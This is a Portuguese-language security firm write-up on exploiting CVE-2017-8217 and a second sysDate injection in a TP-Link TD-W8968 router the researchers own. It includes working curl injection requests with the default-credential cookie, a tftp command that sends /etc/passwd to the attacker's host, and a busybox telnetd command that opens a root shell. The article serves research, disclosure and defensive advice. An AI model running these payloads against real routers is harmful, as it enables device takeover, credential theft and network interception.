← Voltar para Insights Write-up · Pesquisa ofensiva

Do blind command injection ao root shell: explorando um roteador TP-Link na prática

Como transformamos uma injeção de comando cega (sem output) em acesso root completo a um roteador embarcado — reverse engineering de firmware, exfiltração criativa via TFTP/UDP, e as barreiras reais que nenhum tutorial menciona.

Este write-up documenta uma pesquisa real conduzida pela equipe da TreeSec em equipamento próprio, com fins educativos e de responsible disclosure. A vulnerabilidade explorada (OS Command Injection no TP-Link TD-W8968) é uma CVE conhecida (CVE-2017-8217), originalmente reportada em 2017. O valor deste artigo não está na descoberta do bug em si, mas na cadeia completa de exploração — algo que raramente é documentado com este nível de detalhe.

Aviso legal: todo o teste foi conduzido exclusivamente em equipamento de propriedade do pesquisador, em rede isolada, conforme as boas práticas de pesquisa de segurança (ISO 29147). Não tente reproduzir em equipamentos de terceiros sem autorização explícita por escrito.

1. Contexto e escopo

Tudo começou com uma pergunta simples: "o que seria possível fazer com os roteadores que temos em casa?" Como pentesters, passamos o dia inteiro analisando a infraestrutura dos nossos clientes — mas raramente olhamos para os dispositivos embarcados que ficam ligados 24/7 na nossa própria rede.

O alvo escolhido foi um TP-Link TD-W8968 V4, roteador ADSL+Wi-Fi com firmware de 2017 que funciona como access point em uma das nossas redes domésticas. Equipamento próprio, rede controlada, cenário autorizado.

Alvo

TP-Link TD-W8968 V4

Firmware: 0.9.1 3.16 v004c.0 Build 170309 Rel.57384n

SoC: Broadcom BCM6318 (MIPS) · OS: Linux 2.6.36 · BusyBox: v1.19.2

Credenciais: admin:admin (padrão de fábrica)

A infraestrutura de teste incluiu um Raspberry Pi (codinome elliot02) posicionado na mesma rede Wi-Fi do roteador, funcionando como ponto de pivô para enviar requests HTTP e capturar tráfego de rede.

┌────────────────────────────────┐ │ TP-Link TD-W8968 (alvo) │ │ 192.168.1.2 │ │ httpd :80 · dropbear :22 │ └──────────────┬─────────────────┘ │ br0 (LAN bridge) │ ┌───────────────────────┐ │ │ elliot02 (Raspberry │───────┘ │ Pi, pivô de ataque) │ wlan0 = 192.168.1.20 │ 192.168.1.20 │ └───────────────────────┘

2. Reconhecimento do alvo

O primeiro passo foi mapear o que o roteador expõe na rede. Um scan rápido com nmap revelou:

$ nmap -Pn -T4 -sV -F --open 192.168.1.2

PORT   STATE SERVICE VERSION
22/tcp open  ssh     Dropbear sshd 2012.55
80/tcp open  http    TP-Link TD-W8968 httpd

Duas portas abertas: HTTP na 80 (painel de administração) e SSH na 22 (Dropbear, versão de 2012). A interface web aceita as credenciais padrão admin:admin e expõe todas as funcionalidades de configuração, incluindo ferramentas de diagnóstico (ping, traceroute).

Ferramentas de diagnóstico em roteadores são alvos clássicos para command injection. Elas precisam executar comandos do sistema operacional (ping, traceroute) com input fornecido pelo usuário (endereço IP/hostname). Se o input não for sanitizado, metacaracteres de shell permitem injetar comandos arbitrários.

3. A vulnerabilidade: OS Command Injection (CWE-78)

A página de diagnóstico /main/pingNTraceRoute.htm permite que o administrador faça ping para um host qualquer. Nos bastidores, o roteador pega o valor informado no campo "host" e o insere diretamente num comando ping que é executado via system()sem nenhuma sanitização.

Isso significa que, em vez de digitar um IP como 8.8.8.8, podemos enviar:

127.0.0.1;$(ping -c1 -s77 192.168.1.20)

O ; encerra o comando original de ping, e o $() executa o nosso comando em um subshell. O roteador processa:

# O que o roteador executa internamente:
ping -c 4 -s 64 127.0.0.1;$(ping -c1 -s77 192.168.1.20)
#    ↑ comando legítimo         ↑ nosso comando injetado

O resultado? O roteador obedientemente executa os dois comandos como root.

Classificação

OS Command Injection CVSS 7.2 · Alto

CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)

Pré-requisito: autenticação no painel web (credenciais padrão admin:admin)

CVE existente: CVE-2017-8217 (Pierre Kim, 2017) — mesma família de firmware

4. Decifrando o protocolo CGI proprietário

Aqui é onde a coisa fica interessante. O roteador não usa forms HTML tradicionais. Em vez disso, emprega um protocolo proprietário chamado RDP (Router Data Protocol) para comunicar com o backend via POST /cgi?<opcodes>.

Sem entender esse protocolo, não conseguimos construir requests. Analisando o JavaScript do painel (/js/lib.js), decodificamos a estrutura:

Endpoint e opcodes

POST /cgi?<opcode1>&<opcode2> HTTP/1.1

# Opcodes:
# 1 = ACT_GET  (ler atributos)
# 2 = ACT_SET  (definir atributos)
# 7 = ACT_OP   (executar operação)
# Exemplo: /cgi?2&7 = SET + OP (define host e dispara o ping)

Corpo do request (data-model RDP)

[NOME_OBJETO#stack#pStack]idx,nparams\r\n
atributo=valor\r\n

Autenticação

Detalhe importante: o TD-W8968 não usa o header Authorization. A autenticação vai no Cookie:

Cookie: Authorization=Basic YWRtaW46YWRtaW4=
# base64("admin:admin")

Isso significa que curl -u admin:admin não funciona — retorna 403. É preciso montar o Cookie manualmente. Um detalhe pequeno que custou tempo de debug.

O request completo de injeção

$ curl -s --max-time 5 \
  -H 'Cookie: Authorization=Basic YWRtaW46YWRtaW4=' \
  -H 'Referer: http://192.168.1.2/main/pingNTraceRoute.htm' \
  -H 'Content-Type: text/plain' \
  --data-binary $'[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\n\
host=127.0.0.1;$(COMANDO_AQUI)\r\n\
[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]1,0\r\n' \
  'http://192.168.1.2/cgi?2&7'

Um detalhe crucial que descobrimos na prática: o motor de diagnóstico é single-shot. Após uma execução, ele trava no estado "Complete" e ignora novas operações. Antes de cada injeção, é obrigatório resetar o estado:

# Reset obrigatório antes de cada injeção
$ curl -s -o /dev/null \
  -H 'Cookie: Authorization=Basic YWRtaW46YWRtaW4=' \
  -H 'Content-Type: text/plain' \
  --data-binary $'[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\n\
host=127.0.0.1\r\ndiagnosticsState=None\r\n' \
  'http://192.168.1.2/cgi?2'

# Esperar 2 segundos e então enviar a injeção

5. Prova de execução: out-of-band via ICMP

Temos um problema: o roteador não retorna o output dos comandos injetados. A resposta HTTP é sempre [error]0, independente do comando ter executado ou não. É o que chamamos de blind command injection.

Para provar que a injeção funciona, usamos uma técnica out-of-band (OOB): fazemos o roteador nos enviar um ping com um tamanho de payload marcador. Se recebemos um pacote ICMP com o tamanho esperado, provamos que o comando executou.

# Terminal 1: capturar ICMP vindo do roteador
$ sudo tcpdump -i wlan0 'icmp and src 192.168.1.2'

# Terminal 2: injetar ping com tamanho marcador 77
# Se executar, tcpdump mostra length = 77 + 8 = 85
$ curl ... --data-binary '...host=127.0.0.1;$(ping -c1 -s77 192.168.1.20)...'

Resultado no tcpdump:

02:15:48.045 IP 192.168.1.2 > 192.168.1.20: ICMP echo request, id 7173, seq 0, length 85

Length 85 = 77 + 8. Injeção confirmada. Testamos os 5 operadores de shell (; | && ` $()) — todos funcionam.

Provando que somos root (sem o comando id)

O BusyBox deste roteador é extremamente mínimo — não tem id, whoami, grep, nem head. Para provar que estamos executando como root, usamos um truque: ler o campo Uid do /proc/self/status e codificar o valor no tamanho do ping:

# /proc/self/status contém "Uid: X X X X"
# Se X = 0, estamos como root
# Codificamos: ping -s (uid + 50) → length = uid + 58
# Se root (uid=0): length = 58

Resultado: length 58. Uid = 0. Root confirmado.

6. Causa raiz: reverse engineering do firmware

Para entender por que a injeção funciona, fizemos análise white-box do firmware oficial, disponível no site da TP-Link.

Extraindo o filesystem

O firmware usa SquashFS com um magic number não-padrão (shsq em vez do convencional hsqs). O unsquashfs padrão falha. A solução foi compilar o sasquatch, um fork que suporta variantes não-padrão:

$ binwalk firmware.bin
0x0       TP-Link firmware header
0x200     Broadcom 96345 header (board 6318REF)
0x300     SquashFS v4.0, gzip, 6.9 MB (magic: 'shsq')
0x69E30C  LZMA (kernel)

$ git clone https://github.com/onekey-sec/sasquatch
$ cd sasquatch/squashfs-tools && make
$ ./sasquatch -d rootfs firmware_squashfs.bin
880 inodes, 80 dirs, 100 symlinks → OK

Rastreando o fluxo de execução (radare2)

Com o rootfs extraído, usamos radare2 para fazer engenharia reversa dos binários MIPS. A cadeia de execução:

host (POST /cgi) → httpd:cgiGetDiagnostic → libcms_dal.so: dalDiag_startStopPing → libcms_core.so: rcl_ipPingDiagObject monta: "ping -c %d -s %d -q -m %s" ↑ host SEM sanitização → SMD/ssk: system("ping ... <host>") ↑ RCE como root

O valor de host é inserido como o %s final no template, sem aspas e sem filtro de metacaracteres. A string montada é passada diretamente para system(), que invoca /bin/sh -c.

Achado bônus: 2º vetor de injeção (NTP/sysDate)

Durante a análise estática, encontramos um segundo vetor de injeção que não faz parte da CVE-2017-8217 original:

// httpd: cgiConfigNtp (disassembly MIPS simplificado)
sscanf(sysDate, "%d.%d.%d-%d:%d:%d", &a,&b,&c,&d,&e,&f);
// sscanf exige 6 campos... mas só valida o PREFIXO!
sprintf(buf, "date -s %s", sysDate);  // sysDate CRU, não os ints
system(buf);  // → "date -s 2026.6.16-12:0:0; COMANDO"

A validação com sscanf confere que a string começa com 6 inteiros, mas o restante da string passa direto para o system(). Payload: sysDate=2026.6.16-12:0:0; COMANDO.

7. A jornada até o root shell

Até aqui, tínhamos execução cega de comandos como root. Mas para um pentest real, precisamos de output dos comandos — idealmente, um shell interativo. Esta foi a parte mais desafiadora e educativa de toda a pesquisa.

Tentativa 1: Bind shell — falhou

Primeira ideia óbvia: abrir um netcat listener no roteador.

# Tentativa: nc -l -p 9999 -e /bin/sh
→ "nc: applet not found"
# O BusyBox deste router NÃO TEM netcat.

Tentativa 2: Reverse shell — falhou

Sem netcat no roteador, não havia como criar conexão reversa TCP.

Tentativa 3: Takeover do telnet :23 — falhou

# O binário /bin/telnetd é CMS-integrado (14 dependências de libs)
# Não inicia standalone fora do contexto do CMS
$ /bin/telnetd -l /bin/sh -p 23
→ (não inicia, porta continua fechada)

Tentativa 4: SSH (Dropbear :22) — falhou

$ sshpass -p admin ssh admin@192.168.1.2
"exec request failed on channel 0"
"PTY allocation request failed on channel 0"
# Autenticação funciona! Mas TP-Link compilou sem PTY/exec.

Nesse ponto, estávamos bloqueados. Quatro abordagens clássicas, todas falharam. Precisávamos pensar diferente.


1 Descoberta: TFTP via UDP atravessa o firewall

O BusyBox do roteador tem o applet tftp (cliente TFTP). E TFTP usa UDP, não TCP. Enquanto as tentativas anteriores falharam por restrições de TCP, o UDP passa livremente.

# No pivô: iniciar um servidor TFTP em Python
$ sudo python3 tftp_server.py --port 6969

# Injetar no roteador: enviar /etc/passwd via TFTP
host=127.0.0.1;$(tftp -p -l /etc/passwd 192.168.1.20 6969)

Resultado:

admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh
dropbear:x:500:500:dropbear:/var/dropbear:/bin/sh
nobody:*:0:0:nobody:/:/bin/sh

Exfiltração funcionou. Conseguimos ler qualquer arquivo do roteador. Mas para obter output de comandos, precisamos redirecionar para um arquivo temporário e depois enviar via TFTP. E para isso, precisamos de um diretório gravável.

2 Descoberta: /tmp é read-only, /var é writable

Exfiltramos /proc/mounts:

/dev/root on / type squashfs (ro,relatime)    ← TUDO é read-only
ramfs on /var type ramfs (rw,relatime)         ← /var é RAM, gravável!

O diretório /tmp faz parte do squashfs e é read-only. Nossas tentativas anteriores de cmd > /tmp/output falhavam silenciosamente. Usando /var:

# Executar qualquer comando e receber o output:
host=127.0.0.1;$(ps > /var/o 2>&1; tftp -p -l /var/o 192.168.1.20 6969; rm /var/o)

Agora tínhamos um pseudo-shell: enviar comando via CMDi, receber output via TFTP. Latência de ~5 segundos por comando, mas funcional para executar qualquer coisa.

3 Descoberta: busybox telnetd vs /bin/telnetd

Com o pseudo-shell, listamos os applets disponíveis no BusyBox do roteador ao vivo:

root@TD-W8968:/# busybox --list
arping ash brctl cat chmod cp date df echo free getty halt
ifconfig init insmod ipcrm ipcs kill killall linuxrc login
ls lsmod mkdir mount netstat pidof ping ping6 poweroff ps
reboot rm rmmod route sh sleep taskset telnetd tftp top
umount vconfig

O BusyBox tem telnetd como applet! E aqui está a lição mais importante deste write-up:

Lição crucial

BusyBox applet vs. binário standalone

O /bin/telnetd do roteador é um binário CMS pesado (25KB, 14 bibliotecas compartilhadas). Não funciona fora do contexto do CMS. Mas busybox telnetd é um applet autocontido que funciona em qualquer contexto.

Em dispositivos embarcados, sempre tente busybox <applet> quando o binário standalone falhar.

# Injetar o busybox telnetd:
host=127.0.0.1;$(busybox telnetd -l /bin/sh -p 23)

# Verificar:
$ nmap -p 23 192.168.1.2
23/tcp open  telnet

# Conectar:
$ nc 192.168.1.2 23
~ # ← root shell!

Root shell interativa obtida.

~ # cat /proc/version
Linux version 2.6.36 (gcc 4.6.3, Buildroot 2012.11.1) #1 Thu Mar 9 15:29:43 CST 2017
~ # cat /etc/passwd
admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh
dropbear:x:500:500:dropbear:/var/dropbear:/bin/sh
nobody:*:0:0:nobody:/:/bin/sh
~ # ps
  PID USER   VSZ STAT COMMAND
    1 admin 1076 S    init
  734 admin 2868 S    cos
 1018 admin 2596 S    httpd
 1203 admin 1136 S    dropbear -p 22
 1501 admin 1068 S    busybox telnetd -l /bin/sh -p 23

Resumo das barreiras superadas

BarreiraO que tentamosResultadoSolução
Sem stdoutBlind CMDiOOB via ICMP com tamanho marcador
Sem netcatnc -l -eApplet inexistenteTFTP via UDP para exfiltrar
/tmp read-onlycmd > /tmp/oSquashFS read-only/var (ramfs, writable)
telnetd CMS/bin/telnetd14 deps de libs CMSbusybox telnetd (autocontido)
SSH restritossh admin@...PTY/exec desabilitadostelnetd como alternativa
Sem ididApplet inexistente/proc/self/status Uid
Diag travado2ª injeçãoMotor single-shotReset diagnosticsState=None

8. Impacto real: o que um atacante faz com root no seu roteador

Muita gente subestima command injection em roteador porque acha que "é só um roteador". Na realidade, o roteador é o dispositivo mais privilegiado de uma rede doméstica ou de pequeno escritório: todo o tráfego de todos os dispositivos passa por ele.

DNS Hijacking (Pharming) Impacto Crítico

O roteador roda o servidor DNS da rede (dnsProxy). Com root, o atacante pode redirecionar qualquer domínio para um IP malicioso. banco.com.br passa a apontar para uma página de phishing idêntica. Todos os dispositivos da casa (celulares, notebooks, smart TV) são afetados automaticamente, sem nenhum alerta visível.

Interceptação de tráfego Impacto Alto

Captura de requisições HTTP, queries DNS (histórico completo de navegação de todos da casa), credenciais de protocolos legados (FTP, POP3, SMTP sem TLS). O atacante sabe o que cada dispositivo acessa, quando, e com que frequência.

Pivô para rede interna Impacto Alto

A partir do roteador, o atacante pode fazer scan e explorar outros dispositivos da rede: câmeras IP, NAS, smart TVs, computadores com portas abertas. A regra de firewall que encontramos (ACCEPT all in=br+) confirma que não há segmentação interna.

Persistência em firmware Impacto Crítico

O roteador não possui secure boot nem validação de assinatura de firmware. Um atacante avançado pode gravar firmware modificado no flash, criando um backdoor que sobrevive a factory reset. A vítima nunca saberia.

Botnet / DDoS Impacto Moderado

Botnets como Mirai e Mozi recrutam roteadores vulneráveis exatamente assim. O TD-W8968 tem arquitetura MIPS, e a CVE-2017-8217 é pública. Qualquer unidade exposta à internet com senha padrão é um alvo automatizável.

O denominador comum: ninguém instala antivírus no roteador. Não há SIEM, não há alertas, não há logs centralizados. Um atacante com root pode operar por meses sem ser detectado.

9. Disclosure e timeline

Seguimos o processo de responsible disclosure conforme ISO 29147:

Durante a pesquisa, verificamos que o vetor principal de ping injection já era coberto pela CVE-2017-8217. O firmware nunca recebeu patch — o produto está em end-of-life. O segundo vetor (NTP/sysDate) não aparece na CVE original e foi reportado separadamente.

10. Lições para pentesters e equipes de segurança

Para pentesters e pesquisadores

  1. Blind CMDi não é beco sem saída. A técnica de OOB via ICMP com tamanho marcador é simples e eficaz. Se ICMP não funcionar, tente DNS (subdomain com dados codificados).
  2. TFTP via UDP é subestimado. Muitos firewalls de roteador filtram TCP mas deixam UDP passar. Sempre verifique se tftp existe no BusyBox do alvo.
  3. Sempre tente busybox <applet>. O binário standalone pode depender de bibliotecas proprietárias, mas o applet BusyBox é autocontido.
  4. Confira /proc/mounts antes de escrever. Em embarcados, o root filesystem costuma ser read-only (SquashFS). O diretório gravável pode ser /var, /tmp, ou outro ponto de montagem ramfs/tmpfs.
  5. Applets do BusyBox variam entre builds. O que existe no rootfs extraído offline pode não existir no dispositivo ao vivo. Sempre verificar com busybox --list no runtime.
  6. Faça prior art check antes de investir. Pesquise CVEs existentes para o modelo antes de documentar como "achado novo". Economiza tempo e preserva credibilidade.

Para empresas e gestores de TI

  1. Roteadores são infraestrutura crítica. Não são "só o Wi-Fi". São o ponto por onde passa 100% do tráfego da sua rede.
  2. Firmware desatualizado = porta aberta. A vulnerabilidade que exploramos existe desde 2017 e nunca foi corrigida. O fabricante abandonou o produto (EOL). Se o seu roteador não recebe updates, considere trocar.
  3. Credenciais padrão são convite. admin:admin em 2026. Parece absurdo, mas é a realidade de milhões de dispositivos. Mude a senha do painel de todos os equipamentos de rede.
  4. Inclua dispositivos de rede no escopo do pentest. A maioria dos pentests foca em aplicações web e servidores. Roteadores, switches, APs e IoT frequentemente ficam de fora — e são os elos mais fracos.
  5. Segmente sua rede. Se o roteador for comprometido, a segmentação (VLANs, redes separadas para IoT) limita o raio de explosão.

Este write-up demonstra o que a equipe da TreeSec faz no dia a dia: ir além do scanner automatizado. Ferramentas encontram o bug — mas transformar um "campo vulnerável" em "acesso root completo com impacto demonstrável" exige análise manual, criatividade e profundidade técnica.

Se você quer saber como está a segurança da infraestrutura da sua empresa — incluindo os dispositivos que ninguém lembra de testar — converse com a gente.

Quer testar a segurança da sua infraestrutura?

Nossos pentests de infraestrutura cobrem roteadores, switches, APs, firewalls e IoT — não só servidores e aplicações web.